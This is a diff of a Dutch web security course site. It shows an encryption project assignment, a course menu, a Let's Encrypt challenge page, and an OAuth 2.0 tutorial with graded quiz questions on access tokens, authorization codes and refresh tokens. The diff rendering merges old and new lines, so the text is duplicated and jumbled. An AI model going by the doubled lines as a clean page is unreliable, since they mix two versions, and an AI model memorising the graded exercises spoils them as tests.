<a href="http://xkcd.com/364/" target="_blank"> <a href="http://xkcd.com/364/" target="_blank"><img src="http://imgs.xkcd.com/comics/responsible_behavior.png"></a>
<img src="http://imgs.xkcd.com/comics/responsible_behavior.png">
</a>
{% endblock %} <h3>Laatste opdracht</h3>
<p>Het vak is bijna afgelopen, en we hebben nog één laatste grote opdracht voor je waarbij je kennis van deze week nog een kan toepassen in een programmeerprojectje. Maak een kleine webapplicatie waar een gebruiker de volgende dingen kan invoeren:</p>
<ul>
<li>Een naam</li>
<li>Een geheime tekst</li>
<li>Een wachtwoord</li>
</ul>
<p>Zorg ervoor dat de webapplicatie de geheime tekst versleuteld opslaat zodat als iemand de database steelt het onmogelijk is om de geheime tekst te lezen. Als de gebruiker alleen een naam en het juiste wachtwoord invult krijgt hij zijn originele tekst weer te zien.</p>
<p>Zet de code op GitHub en leg in de README.md kort uit welke technieken, libraries en frameworks je hebt gebruikt. Je mag zelf kiezen welke programmeertaal je gebruikt.</p>
<div class="question">
<span class="question-string">Plak hier de link naar je GitHub project</span>
{% include "points.html" with points=answers.answer_encryption_github_project.points max="25" %}
<input type="url" class="question-input" name="answer_encryption_github_project" value="{{ answers.answer_encryption_github_project.string }}">
</div>
<img src="static/img/encryption_project.png" class="screenshot" style="width: 50%">
{% endblock %}
-65
View File
@@ -1,65 +0,0 @@
<!DOCTYPE html>
<html>
<head>
<title>Security Workshop</title>
<link href="/static/css/bootstrap.min.css" rel="stylesheet" type="text/css">
<link href="/static/css/bootstrap-responsive.min.css" rel="stylesheet" type="text/css">
<link href="/static/css/style.css" rel="stylesheet" type="text/css">
<script type="text/javascript" src="/static/js/jquery-2.1.0.min.js"></script>
<script type="text/javascript" src="/static/js/jquery.base64.min.js"></script>
<script type="text/javascript" src="/static/js/quiz.js" defer></script>
</head>
<body>
<form method="POST" id="form-quiz">
<div class="row-fluid">
<div class="well span3" id="menu">
<ul>
<li>
<a href="/?sql">SQL Injection</a>
</li>
<li>
<a href="/?xss">Cross-site Scripting</a>
</li>
<li>
<a href="/?path">Insecure Direct Object References</a>
</li>
<li>
<a href="/?wachtwoorden">Wachtwoorden</a>
</li>
<li>
<a href="/?certificaten">Certificaten</a>
</li>
<li>
<a href="/?oauth">OAuth</a>
</li>
<!--
<li>
<a href="/?certificaten">Certificaten</a>
</li>
<li>
<a href="/?encryptie">Encryptie</a>
</li>
-->
</ul>
Moeilijkheidsgraad:
<select id="difficulty">
<option value="easy">Hints zichtbaar</option>
<option value="normal">Hints optioneel</option>
<option value="hard">Geen hints</option>
</select>
<p>
<a href="/?vm">Download VM</a>
</p>
</div>
<div id="quiz" class="span8 offset3">
</div>
</form>
</body>
</html>
+14 -17
View File
@@ -1,28 +1,29 @@
<!DOCTYPE html> <!DOCTYPE html>
<html> <html>
<head>
<head>
<link rel="stylesheet" href="/static/css/semantic.min.css"> <link rel="stylesheet" href="/static/css/semantic.min.css">
<style type="text/css"> <style type="text/css">
body { body {
margin-top: 20px; margin-top: 20px;
} }
</style> </style>
</head> </head>
<body> <body>
<h1 class="ui centered aligned header">Let's Encrypt</h1> <h1 class="ui centered aligned header">Let's Encrypt</h1>
<div class="ui three column centered grid"> <div class="ui three column centered grid">
<div class="column ui"> <div class="column ui">
<form method="POST" action="" class="ui form primary center aligned segment"> <form method="POST" action="" class="ui form primary center aligned segment">
{% csrf_token %} {% if challenge %} {% csrf_token %}
<p>Vanaf
<br> {% if challenge %}
<a href="http://websec.paulwagener.nl/.well-known/acme-challenge/{{challenge}}">http://websec.paulwagener.nl/.well-known/acme-challenge/{{challenge}}</a> <p>Vanaf<br>
<br> wordt de komende 10 minuten de volgende tekst getoond: <a href="http://sec1.aii.avans.nl/.well-known/acme-challenge/{{challenge}}">http://sec1.aii.avans.nl/.well-known/acme-challenge/{{challenge}}</a><br> wordt de komende 10 minuten de volgende tekst getoond:<br>
<br> <code>{{challenge}}.{{response}}</code>
<code>{{challenge}}.{{response}}</code> {% elif error %}
{% elif error %}
<div class="ui negative message"> <div class="ui negative message">
<p>{{error}}</p> <p>{{error}}</p>
</div> </div>
@@ -33,10 +34,7 @@
<div class="ui huge input"> <div class="ui huge input">
<textarea name="challenge-response" value="" style="text-align: center;" placeholder=""></textarea> <textarea name="challenge-response" value="" style="text-align: center;" placeholder=""></textarea>
</div> </div>
<p>Vul hier de code in die Let's Encrypt van je vraagt om te geven via <p>Vul hier de code in die Let's Encrypt van je vraagt om te geven via <br><code>http://sec1.aii.avans.nl/.well-known/acme-challenge/</code></p>
<br>
<code>http://websec.paulwagener.nl/.well-known/acme-challenge/</code>
</p>
</div> </div>
<button type="submit" class="ui big blue submit button">Opslaan</button> <button type="submit" class="ui big blue submit button">Opslaan</button>
@@ -51,6 +49,5 @@
</body> </body>
</html> </html>
+144 -233
View File
@@ -1,129 +1,95 @@
{% extends "base.html" %} {% block content %} {% extends "base.html" %}
<h1>OAuth</h1>
<img src="static/img/oauth.png" style="float: right"> {% block content %}
<h1>OAuth</h1>
<p>Heb je wel eens gebruik gemaakt van een API van Twitter, Facebook of Google? Dan heb je waarschijnlijk te maken gehad <img src="static/img/oauth.png" style="float: right">
<strong>OAuth</strong>, de technologie die je toestemming verleent om gebruik te maken van die API's.</p>
<p>Er zijn veel misverstanden over OAuth waardoor het vaak verkeerd begrepen wordt en er veel frictie ontstaat ontstaat tussen <p>Heb je wel eens gebruik gemaakt van een API van Twitter, Facebook of Google? Dan heb je waarschijnlijk te maken gehad <strong>OAuth</strong>, de technologie die je toestemming verleent om gebruik te maken van die API's.</p>
de API en de ontwikkelaar. Het is bijvoorbeeld niet ontworpen om enkel mee in te loggen, hoewel het daar wel veel voor
gebruikt wordt. Deze week gaan we kijken naar het probleem van authoriseren en hoe OAuth dat oplost.</p>
<p>We gaan deze week oefenen met OAuth 2.0. Er is ook versie 1.0 en 1.0a die heel anders werken (hoewel ze qua concept wel gelijk <p>Er zijn veel misverstanden over OAuth waardoor het vaak verkeerd begrepen wordt en er veel frictie ontstaat ontstaat tussen de API en de ontwikkelaar. Het is bijvoorbeeld niet ontworpen om enkel mee in te loggen, hoewel het daar wel veel voor gebruikt wordt. Deze week gaan we kijken naar het probleem van authoriseren en hoe OAuth dat oplost.</p>
zijn). Let altijd op met welke versie je te maken hebt, je kan een 2.0 client niet laten praten met een 1.0 server en vice
versa.
</p>
<p>We nemen als voorbeeld de Poespas bank. Een simpele website waarmee gebruikers kunnen inloggen met een gebruikersnaam en <p>We gaan deze week oefenen met OAuth 2.0. Er is ook versie 1.0 en 1.0a die heel anders werken (hoewel ze qua concept wel gelijk zijn). Let altijd op met welke versie je te maken hebt, je kan een 2.0 client niet laten praten met een 1.0 server en vice versa.</p>
wachtwoord. Als ze ingelogd zijn zien ze hun huidige saldo. De bank heeft een simpele API waarmee gebruikers hun saldo
kunnen checken.</p>
<h3>Simpele authenticatie</h3> <p>We nemen als voorbeeld de Poespas bank. Een simpele website waarmee gebruikers kunnen inloggen met een gebruikersnaam en wachtwoord. Als ze ingelogd zijn zien ze hun huidige saldo. De bank heeft een simpele API waarmee gebruikers hun saldo kunnen checken.</p>
<p>Een simpele manier om de saldo API te implementeren is om rechtstreeks je gebruikersnaam en wachtwoord mee te geven in de <h3>Simpele authenticatie</h3>
API request. De server checkt of de inloggegevens correct zijn en geeft de saldo informatie van die gebruiker terug. Uiteraard
moet dit alles over een beveiligde verbinding gebeuren, maar als dat zo is is het in theorie een veilige oplossing.</p>
<figure> <p>Een simpele manier om de saldo API te implementeren is om rechtstreeks je gebruikersnaam en wachtwoord mee te geven in de API request. De server checkt of de inloggegevens correct zijn en geeft de saldo informatie van die gebruiker terug. Uiteraard moet dit alles over een beveiligde verbinding gebeuren, maar als dat zo is is het in theorie een veilige oplossing.</p>
<figure>
<img src="static/img/auth_basic.png"> <img src="static/img/auth_basic.png">
</figure> </figure>
<img src="static/img/http_auth.png" style="float: right; width: 30%; margin-left: 10px"> <img src="static/img/http_auth.png" style="float: right; width: 30%; margin-left: 10px">
<p>Veel echte API's werkte vroeger op deze manier (vaak op basis van <p>Veel echte API's werkte vroeger op deze manier (vaak op basis van <a href="http://en.wikipedia.org/wiki/Basic_access_authentication" target="_blank">HTTP Authentication</a>). En zolang alles over een beveiligde verbinding tussen de gebruiker en de server loopt is alles veilig. De problemen beginnen echter als een derde partij betrokken raakt bij onze API.</p>
<a href="http://en.wikipedia.org/wiki/Basic_access_authentication" target="_blank">HTTP Authentication</a>). En zolang alles over een beveiligde verbinding tussen de gebruiker en de server loopt is alles
veilig. De problemen beginnen echter als een derde partij betrokken raakt bij onze API.</p>
<p>Een startup heeft de <p>Een startup heeft de <i>BudgetApp</i> ontwikkelt, een nieuwe app die laat zien hoeveel saldo je per maand op je rekening hebt staan. Ze maken gebruik van de Poespas API om het saldo van de gebruiker op te halen. Maar om die API te kunnen gebruiken hebben ze de gebruikersnaam en het wachtwoord van de gebruiker nodig. Op hun inlogscherm vragen ze daarom om de inloggegevens zodat de app goed kan werken.</p>
<i>BudgetApp</i> ontwikkelt, een nieuwe app die laat zien hoeveel saldo je per maand op je rekening hebt staan. Ze maken gebruik
van de Poespas API om het saldo van de gebruiker op te halen. Maar om die API te kunnen gebruiken hebben ze de gebruikersnaam
en het wachtwoord van de gebruiker nodig. Op hun inlogscherm vragen ze daarom om de inloggegevens zodat de app goed kan
werken.
</p>
<figure> <figure>
<img src="static/img/auth_basic_app.png"> <img src="static/img/auth_basic_app.png">
</figure> </figure>
<p>Het probleem met deze manier van authenticeren wordt nu snel duidelijk: de app krijgt de gebruikersnaam en wachtwoord van <p>Het probleem met deze manier van authenticeren wordt nu snel duidelijk: de app krijgt de gebruikersnaam en wachtwoord van de gebruiker in handen. Daarmee kunnen ze niet alleen het saldo ophalen met de API. Maar ook alle andere dingen die de gebruiker kan zoals bijvoorbeeld inloggen, geld overschrijven en het wachtwoord veranderen.</p>
de gebruiker in handen. Daarmee kunnen ze niet alleen het saldo ophalen met de API. Maar ook alle andere dingen die de
gebruiker kan zoals bijvoorbeeld inloggen, geld overschrijven en het wachtwoord veranderen.</p>
<p>Om deze situatie te voorkomen willen we een authorisatiesysteem waarbij de app wel een sleutel krijgt om de API te gebruiken, <p>Om deze situatie te voorkomen willen we een authorisatiesysteem waarbij de app wel een sleutel krijgt om de API te gebruiken, maar niet het wachtwoord van de gebruiker zelf. Dat moet strict geheim blijven.</p>
maar niet het wachtwoord van de gebruiker zelf. Dat moet strict geheim blijven.</p>
<h3>Access tokens</h3> <h3>Access tokens</h3>
<img src="static/img/access_token.png" class="center-block" style="float: right; width: 25%"> <img src="static/img/access_token.png" class="center-block" style="float: right; width: 25%">
<p>OAuth lost dit probleem op door het concept van een <p>OAuth lost dit probleem op door het concept van een <b>access token</b>. Een lange string waarmee je aangeeft dat een bepaalde gebruiker jou toestemming heeft gegeven om de API te mogen gebruiken. Deze token geef je bij elke aanroep van de API mee in een speciale 'Authorization' header, zodat de server deze kan verifiëren.</p>
<b>access token</b>. Een lange string waarmee je aangeeft dat een bepaalde gebruiker jou toestemming heeft gegeven om de API
te mogen gebruiken. Deze token geef je bij elke aanroep van de API mee in een speciale 'Authorization' header, zodat de
server deze kan verifiëren.</p>
<p>De app heeft nu niet meer de gebruikersnaam en wachtwoord van de gebruiker nodig, de access token is voor de bank een veilige <p>De app heeft nu niet meer de gebruikersnaam en wachtwoord van de gebruiker nodig, de access token is voor de bank een veilige manier om toegang tot de API te geven. En omdat een access token maar tijdelijk geldig is (vaak maar een uur) blijft de schade relatief beperkt als een hacker hier toegang tot krijgt.</p>
manier om toegang tot de API te geven. En omdat een access token maar tijdelijk geldig is (vaak maar een uur) blijft de
schade relatief beperkt als een hacker hier toegang tot krijgt.</p>
<img src="static/img/oauth_facebook.png" class="center-block"> <img src="static/img/oauth_facebook.png" class="center-block">
<p>Access tokens kan je aanvragen door de gebruiker te sturen naar een speciale authorisatie pagina. Je hebt ze vast wel eens <p>Access tokens kan je aanvragen door de gebruiker te sturen naar een speciale authorisatie pagina. Je hebt ze vast wel eens eerder gezien: de pagina's waar je moet inloggen en op 'Geef toestemming' moet klikken. Zodra je op die knop klikt wordt je weer teruggestuurd naar de oorspronkelijke app of webapplicatie met de access token in de URL.</p>
eerder gezien: de pagina's waar je moet inloggen en op 'Geef toestemming' moet klikken. Zodra je op die knop klikt wordt
je weer teruggestuurd naar de oorspronkelijke app of webapplicatie met de access token in de URL.</p>
<figure> <figure>
<img src="static/img/auth_access_token.png" class="center-block"> <img src="static/img/auth_access_token.png" class="center-block">
</figure> </figure>
<p>Je kan ook een speciale <p>Je kan ook een speciale <b>authorisatie code</b> terugkrijgen in plaats van een access token als je dat in een parameter aanzet. Deze kan je inwisselen voor een access token en een refresh token, een speciale token waarmee je nieuwe access tokens kan maken. Handig als je langer dan een uur van de API gebruik wil blijven maken. Met al die verschillende tokens gaan we oefenen in de opdrachten.</p>
<b>authorisatie code</b> terugkrijgen in plaats van een access token als je dat in een parameter aanzet. Deze kan je inwisselen
voor een access token en een refresh token, een speciale token waarmee je nieuwe access tokens kan maken. Handig als je
langer dan een uur van de API gebruik wil blijven maken. Met al die verschillende tokens gaan we oefenen in de opdrachten.</p>
<h3>Opdrachten</h3> <h3>Opdrachten</h3>
<p>Deze site heeft ook een API die te vinden is op: <p>Deze site heeft ook een API die te vinden is op: <a href="/api/hello" target="_blank">/api/hello</a>. Die mag je uiteraard alleen gebruiken als je een access token hebt, als je gewoon op de link klikt krijg je een lege 403 pagina (Forbidden). We gaan alle stappen doorlopen om te komen tot de almachtige access token waarmee we de API kunnen aanroepen.</p>
<a href="/api/hello" target="_blank">/api/hello</a>. Die mag je uiteraard alleen gebruiken als je een access token hebt, als je gewoon op de link klikt krijg
je een lege 403 pagina (Forbidden). We gaan alle stappen doorlopen om te komen tot de almachtige access token waarmee we
de API kunnen aanroepen.</p>
<p>De eerste stap bij een OAuth provider is om een client aan te maken. Daarmee weet de server altijd wie het is die de API <p>De eerste stap bij een OAuth provider is om een client aan te maken. Daarmee weet de server altijd wie het is die de API aanroep doet. Voor deze opdracht kan je die aanmaken op <a href="/o/applications/" target="_blank">deze pagina</a>. Maak je eigen applicatie met de volgende gegevens:</p>
aanroep doet. Voor deze opdracht kan je die aanmaken op
<a href="/o/applications/" target="_blank">deze pagina</a>. Maak je eigen applicatie met de volgende gegevens:</p>
<ul> <ul>
<li> <li><b>Name</b>: mag je zelf kiezen</li>
<b>Name</b>: mag je zelf kiezen</li> <li><b>Client id</b>: mag je zelf kiezen, maar moet wel uniek zijn</li>
<li> <li><b>Client secret</b>: mag je zelf kiezen</li>
<b>Client id</b>: mag je zelf kiezen, maar moet wel uniek zijn</li> <li><b>Client type</b>: Confidential</li>
<li> <li><b>Authorization grant type</b>: Implicit</li>
<b>Client secret</b>: mag je zelf kiezen</li> <li><b>Redirect uris</b>: http://example.com/ (mag ook een eigen URL zijn)</li>
<li> </ul>
<b>Client type</b>: Confidential</li>
<li>
<b>Authorization grant type</b>: Implicit</li>
<li>
<b>Redirect uris</b>: http://example.com/ (mag ook een eigen URL zijn)</li>
</ul>
<figure> <figure>
<img src="static/img/oauth_register.png" style="width: 50%"> <img src="static/img/oauth_register.png" style="width: 50%">
</figure> </figure>
<p>Elke OAuth server heeft twee endpoints (lees: URL's): de authorisatie endpoint en de token endpoint. Hieronder zie je de <div class="question">
endpoints van een aantal bekende servers:</p> <span class="question-string">Wat is de client_id die je hebt geregistreerd?</span>
{% include "points.html" with points=answers.answer_oauth_client_id.points max="5" %}
<input class="question-input" name="answer_oauth_client_id" value="{{ answers.answer_oauth_client_id.string }}"></input>
</div>
<table border="1" cellpadding="4"> <p>Elke OAuth server heeft twee endpoints (lees: URL's): de authorisatie endpoint en de token endpoint. Hieronder zie je de endpoints van een aantal bekende servers:</p>
<table border="1" cellpadding="4">
<tr> <tr>
<th>Service</th> <th>Service</th>
<th>Authorization endpoint</th> <th>Authorization endpoint</th>
<th>Token endpoint</th> <th>Token endpoint</th>
</tr> </tr>
<tr> <tr>
<td>Deze cursus</td> <td>Dit vak</td>
<td>https://websec.paulwagener.nl/o/authorize/</td> <td>http://sec1.aii.avans.nl/o/authorize/</td>
<td>https://websec.paulwagener.nl/o/token/</td> <td>http://sec1.aii.avans.nl/o/token/</td>
</tr> </tr>
<tr> <tr>
<td>GitHub</td> <td>GitHub</td>
@@ -140,210 +106,155 @@
<td>https://www.facebook.com/dialog/oauth</td> <td>https://www.facebook.com/dialog/oauth</td>
<td>https://graph.facebook.com/oauth/access_token</td> <td>https://graph.facebook.com/oauth/access_token</td>
</tr> </tr>
</table> </table>
<p>De authorisatie endpoint is de URL waar je de gebruiker heenstuurt om hem te laten inloggen op de website en om op 'Toestaan' <p>De authorisatie endpoint is de URL waar je de gebruiker heenstuurt om hem te laten inloggen op de website en om op 'Toestaan' te laten klikken. Deze site redirect daarna weer terug naar je eigen site / app met een speciale authorisatie code. De token endpoint is de OAuth API waar we al onze access tokens uit kunnen halen, maar dan hebben we wel eerst die authorisatie code nodig.</p>
te laten klikken. Deze site redirect daarna weer terug naar je eigen site / app met een speciale authorisatie code. De
token endpoint is de OAuth API waar we al onze access tokens uit kunnen halen, maar dan hebben we wel eerst die authorisatie
code nodig.</p>
<p>Om te authoriseren hebben we de volgende URL parameters nodig: ( <p>Om te authoriseren hebben we de volgende URL parameters nodig: (<a href="http://tools.ietf.org/html/rfc6749#section-4.1.1" target="_blank">documentatie</a>)</p>
<a href="http://tools.ietf.org/html/rfc6749#section-4.1.1" target="_blank">documentatie</a>)</p>
<ul> <ul>
<li> <li><b>response_type</b>: "token" of "code". Met "token" krijg je direct een access token in de redirect URL. Handig als je de API maar 1x hoeft te gebruiken. Minder handig als je de API langer wilt blijven gebruiken, want access tokens blijven vaak niet langer dan een uur geldig. Dan moet je de gebruiker elk uur opnieuw laten inloggen. Met "code" krijg je een authorisatie code die je kan inwisselen voor een speciale refresh_token, daar kan je tot in de oneindigheid nieuwe access tokens mee maken. <i>Voor deze opdracht gebruiken we "token"</i>.</li>
<b>response_type</b>: "token" of "code". Met "token" krijg je direct een access token in de redirect URL. Handig als je <li><b>client_id</b>: Jouw gekozen client id</li>
de API maar 1x hoeft te gebruiken. Minder handig als je de API langer wilt blijven gebruiken, want access tokens blijven <li><b>redirect_uri</b>: optioneel, en eigenlijk ook redundant. Want die geef je ook vaak op als je je registreert als client bij de provider. Als de gebruiker op 'Toestaan' heeft geklikt wordt hij naar deze URL teruggestuurt met de authorisatie code of access token</li>
vaak niet langer dan een uur geldig. Dan moet je de gebruiker elk uur opnieuw laten inloggen. Met "code" krijg je een <li><b>scope</b>: optioneel, kan je mee aangeven welke gedeeltes van de API je wilt kunnen gebruiken</li>
authorisatie code die je kan inwisselen voor een speciale refresh_token, daar kan je tot in de oneindigheid nieuwe access <li><b>state</b>: optioneel, een string die je kan meegeven die ook weer wordt teruggestuurd als de gebruiker wordt terug geredirect. Kan handig zijn.</li>
tokens mee maken. </ul>
<i>Voor deze opdracht gebruiken we "token"</i>.</li>
<li>
<b>client_id</b>: Jouw gekozen client id</li>
<li>
<b>redirect_uri</b>: optioneel, en eigenlijk ook redundant. Want die geef je ook vaak op als je je registreert als client
bij de provider. Als de gebruiker op 'Toestaan' heeft geklikt wordt hij naar deze URL teruggestuurt met de authorisatie
code of access token</li>
<li>
<b>scope</b>: optioneel, kan je mee aangeven welke gedeeltes van de API je wilt kunnen gebruiken</li>
<li>
<b>state</b>: optioneel, een string die je kan meegeven die ook weer wordt teruggestuurd als de gebruiker wordt terug geredirect.
Kan handig zijn.</li>
</ul>
<p>Voor deze site is de authorisatie URL: <p>Voor deze site is de authorisatie URL:<br>
<br> <span class="url">http://sec1.aii.avans.nl/o/authorize/?client_id=(CLIENT_ID)&amp;response_type=token</span></p>
<span class="url">https://websec.paulwagener.nl/o/authorize/?client_id=(CLIENT_ID)&amp;response_type=token</span>
</p>
<div class="question"> <div class="question">
<span class="question-string">Authoriseer met je eigen client id. Welke access token heb je gekregen?</span> <span class="question-string">Authoriseer met je eigen client id. Welke access token heb je gekregen?</span>
</div> {% include "points.html" with points=answers.answer_oauth_implicit_access_token.points max="5" %}
<input class="question-input" name="answer_oauth_implicit_access_token" value="{{ answers.answer_oauth_implicit_access_token.string }}"></input>
</div>
<p class="hint"> <p class="hint"><strong>Hint:</strong> Let je wel op dat er een slash staat achter <code>authorize</code> in de URL?</p>
<strong>Hint:</strong> Let je wel op dat er een slash staat achter
<code>authorize</code> in de URL?</p>
<div class="question"> <div class="question">
<span class="question-string">Hoeveel seconden is deze token code geldig?</span> <span class="question-string">Hoeveel seconden is deze token code geldig?</span>
</div> {% include "points.html" with points=answers.answer_oauth_implicit_access_token_expires.points max="5" %}
<input class="question-input" name="answer_oauth_implicit_access_token_expires" value="{{ answers.answer_oauth_implicit_access_token_expires.string }}"></input>
</div>
<p>De access token kan je nu gebruiken om een request te doen naar <p>De access token kan je nu gebruiken om een request te doen naar <a href="/api/hello" target="_blank">/api/hello</a>. De token geef je mee door de volgende HTTP header mee te sturen:</p>
<a href="/api/hello" target="_blank">/api/hello</a>. De token geef je mee door de volgende HTTP header mee te sturen:</p>
<code class="pre">Authorization: Bearer nW8JkemabiKpxvD1Yen3FCcWM3k7vr</code> <code class="pre">Authorization: Bearer nW8JkemabiKpxvD1Yen3FCcWM3k7vr</code>
<p>Uiteraard moet je je eigen access token dan gebruiken. Er zijn vele tools waarmee je HTTP requests mee kan maken met je eigen <p>Uiteraard moet je je eigen access token dan gebruiken. Er zijn vele tools waarmee je HTTP requests mee kan maken met je eigen headers en data. In de screenshots gebruiken we <a href="https://chrome.google.com/webstore/detail/postman-rest-client-packa/fhbjgbiflinjbdggehcddcbncdddomop" target="_blank">Postman</a>.</p>
headers en data. In de screenshots gebruiken we
<a href="https://chrome.google.com/webstore/detail/postman-rest-client-packa/fhbjgbiflinjbdggehcddcbncdddomop" target="_blank">Postman</a>.</p>
<img src="static/img/oauth_call_api.png" class="center-block screenshot" style="width: 80%; margin-top: 20px"> <img src="static/img/oauth_call_api.png" class="center-block screenshot" style="width: 80%; margin-top: 20px">
<div class="question"> <div class="question">
<span class="question-string">Wat is de geheime code die gestuurd wordt als je de API aanroept?</span> <span class="question-string">Wat is de geheime code die gestuurd wordt als je de API aanroept?</span>
</div> {% include "points.html" with points=answers.answer_oauth_api_hello.points max="10" %}
<input class="question-input" name="answer_oauth_api_hello" value="{{ answers.answer_oauth_api_hello.string }}"></input>
</div>
<p class="hint"> <p class="hint"><strong>Hint:</strong> Let op dat je de Authorization data als <i>header</i> meestuurt. Via de POST form-data of als URL parameter gaat niet werken!</p>
<strong>Hint:</strong> Let op dat je de Authorization data als
<i>header</i> meestuurt. Via de POST form-data of als URL parameter gaat niet werken!</p>
<h3>Web applicaties</h3> <h3>Web applicaties</h3>
<p>Wat doen we als de token verloopt en je nog steeds de API wil gebruiken? Je kan natuurlijk de gebruiker opnieuw naar de authorisatie <p>Wat doen we als de token verloopt en je nog steeds de API wil gebruiken? Je kan natuurlijk de gebruiker opnieuw naar de authorisatie URL sturen voor een nieuwe access token. Maar als jouw web applicatie dagelijks de gebruiker meerdere keren per dag redirect om op 'Geef toestemming' te klikken wordt die daar helemaal gek van.</p>
URL sturen voor een nieuwe access token. Maar als jouw web applicatie dagelijks de gebruiker meerdere keren per dag redirect
om op 'Geef toestemming' te klikken wordt die daar helemaal gek van.</p>
<p>OAuth heeft hier de zogenaamde refresh tokens voor verzonnen. Dit is een uitgebreidere manier om access tokens te krijgen <p>OAuth heeft hier de zogenaamde refresh tokens voor verzonnen. Dit is een uitgebreidere manier om access tokens te krijgen en is meer geschikt voor webapplicaties. We moeten wel helemaal terug naar het begin en alle stappen net iets anders doen:</p>
en is meer geschikt voor webapplicaties. We moeten wel helemaal terug naar het begin en alle stappen net iets anders doen:</p>
<ol> <ol>
<li>Ga naar <li>Ga naar <a href="/o/applications/" target="_blank">/o/applications/</a> en verander jouw applicatie zodat deze nu als <b>Authorization grant type</b> de waarde <b>Authorization code</b> heeft.<br>
<a href="/o/applications/" target="_blank">/o/applications/</a> en verander jouw applicatie zodat deze nu als
<b>Authorization grant type</b> de waarde
<b>Authorization code</b> heeft.
<br>
<img src="static/img/oauth_set_grant_type.png" class="screenshot" style="width: 40%"> <img src="static/img/oauth_set_grant_type.png" class="screenshot" style="width: 40%">
</li> </li>
<li>Ga opnieuw naar dezelfde authorisatie URL van vorige keer, maar nu met <li>Ga opnieuw naar dezelfde authorisatie URL van vorige keer, maar nu met <b>response_type=code</b> in plaats van response_type=token</li>
<b>response_type=code</b> in plaats van response_type=token</li>
<li>Je wordt nu teruggestuurd met een zogenaamde authorisatie code</li> <li>Je wordt nu teruggestuurd met een zogenaamde authorisatie code</li>
</ol> </ol>
<div class="question"> <div class="question">
<span class="question-string">Welke authorisatie code heb je gekregen?</span> <span class="question-string">Welke authorisatie code heb je gekregen?</span>
</div> {% include "points.html" with points=answers.answer_oauth_authorization_code.points max="5" %}
<input class="question-input" name="answer_oauth_authorization_code" value="{{ answers.answer_oauth_authorization_code.string }}"></input>
</div>
<img src="static/img/oauth_authorization_code.png" style="width: 25%; float: right"> <img src="static/img/oauth_authorization_code.png" style="width: 25%; float: right">
<p>Deze authorisatie code is nog geen access token op zich, maar kan een webapplicatie wel inwisselen voor een access token. <p>Deze authorisatie code is nog geen access token op zich, maar kan een webapplicatie wel inwisselen voor een access token. Dit doet het door een POST request te doen naar de token endpoint. We moeten daarvoor de volgende parameters meesturen:</p>
Dit doet het door een POST request te doen naar de token endpoint. We moeten daarvoor de volgende parameters meesturen:</p>
<ul> <ul>
<li> <li><b>grant_type</b>: Moet de waarde "authorization_code" hebben.</li>
<b>grant_type</b>: Moet de waarde "authorization_code" hebben.</li> <li><b>code</b>: De authorisatie code die we hebben gekregen van de authorisatie endpoint.</li>
<li> <li><b>redirect_uri</b>: Dezelfde URL die we eerder als redirect_uri hebben gebruikt.</li>
<b>code</b>: De authorisatie code die we hebben gekregen van de authorisatie endpoint.</li> <li><b>client_id</b>: De client id die je hebt verzonnen</li>
<li> <li><b>client_secret</b>: De client secret die je hebt verzonnen</li>
<b>redirect_uri</b>: Dezelfde URL die we eerder als redirect_uri hebben gebruikt.</li> </ul>
<li>
<b>client_id</b>: De client id die je hebt verzonnen</li>
<li>
<b>client_secret</b>: De client secret die je hebt verzonnen</li>
</ul>
<p>Doe er niet te lang over, authorisatie codes verlopen vaak al na enkele minuten. Als je het goed doet krijg je een response <p>Doe er niet te lang over, authorisatie codes verlopen vaak al na enkele minuten. Als je het goed doet krijg je een response met daarin de refresh_token (en een gratis access_token!). Als je een <code>invalid_grant</code> error krijgt betekent dat dat jouw code verlopen is en dat je een nieuwe moet aanvragen. Als je een <code>invalid_client</code> error krijgt moet je goed controleren of je redirect_uri, client_id en client_secret allemaal goed staan ingesteld. En als je een <code>access_denied</code> krijgt moet je nog een keer heel goed controleren of je redirect_uri echt <i>exact</i> hetzelfde is als toen je je app hebt geregistreerd.</code>. Krijg je een andere error? Controleer dan nog een keer extra goed of de URL eindigt op <code>/token/</code> (die laatste slash is belangrijk!) en dat je alle data verstuurd als form data via POST.</p>
met daarin de refresh_token (en een gratis access_token!). Als je een
<code>invalid_grant</code> error krijgt betekent dat dat jouw code verlopen is en dat je een nieuwe moet aanvragen. Als je een
<code>invalid_client</code> error krijgt moet je goed controleren of je redirect_uri, client_id en client_secret allemaal goed staan ingesteld. En
als je een
<code>access_denied</code> krijgt moet je nog een keer heel goed controleren of je redirect_uri echt
<i>exact</i> hetzelfde is als toen je je app hebt geregistreerd.</code>. Krijg je een andere error? Controleer dan nog een
keer extra goed of de URL eindigt op
<code>/token/</code> (die laatste slash is belangrijk!) en dat je alle data verstuurd als form data via POST.</p>
<img src="static/img/oauth_exchange_auth_code.png" class="screenshot" style="margin: 20px; width: 80%; margin-left: auto; margin-right: auto;"> <img src="static/img/oauth_exchange_auth_code.png" class="screenshot" style="margin: 20px; width: 80%; margin-left: auto; margin-right: auto;">
<div class="question"> <div class="question">
<span class="question-string">Copy paste de response die je hebt gekregen waar de refresh token in staat</span> <span class="question-string">Copy paste de response die je hebt gekregen waar de refresh token in staat</span>
</div> {% include "points.html" with points=answers.answer_oauth_refresh_token.points max="5" %}
<textarea class="question-input" name="answer_oauth_refresh_token">{{ answers.answer_oauth_refresh_token.string }}</textarea>
</div>
<img src="static/img/oauth_refresh_token.png" style="float: right; width: 25%"> <img src="static/img/oauth_refresh_token.png" style="float: right; width: 25%">
<p>Gefeliciteerd, je hebt nu een refresh token! Een oneindige bron van nieuwe access tokens. Je vraagt je bijna af waarom OAuth <p>Gefeliciteerd, je hebt nu een refresh token! Een oneindige bron van nieuwe access tokens. Je vraagt je bijna af waarom OAuth uberhaupt de moeite doet om een authorisatie code te hebben als die toch maar zo kort gebruikt wordt. De reden hiervoor is dat dit mechanisme ervoor zorgt dat alleen de webapplicatie de refresh en access tokens kan ophalen, en niet de gebruiker. Zonder de juiste client_secret kan de gebruiker namelijk helemaal niets met de authorisatie code.</p>
uberhaupt de moeite doet om een authorisatie code te hebben als die toch maar zo kort gebruikt wordt. De reden hiervoor
is dat dit mechanisme ervoor zorgt dat alleen de webapplicatie de refresh en access tokens kan ophalen, en niet de gebruiker.
Zonder de juiste client_secret kan de gebruiker namelijk helemaal niets met de authorisatie code.</p>
<p>We schakelen voor het gebruik van de refresh token even over naar een hele andere site</p> <p>We schakelen voor het gebruik van de refresh token even over naar een hele andere site</p>
<h3>Google</h3> <h3>Google</h3>
<p>Bij Google hebben we een OAuth client geregistreerd en de volgende gegevens gekregen:</p> <p>Bij Google hebben we een OAuth client geregistreerd en de volgende gegevens gekregen:</p>
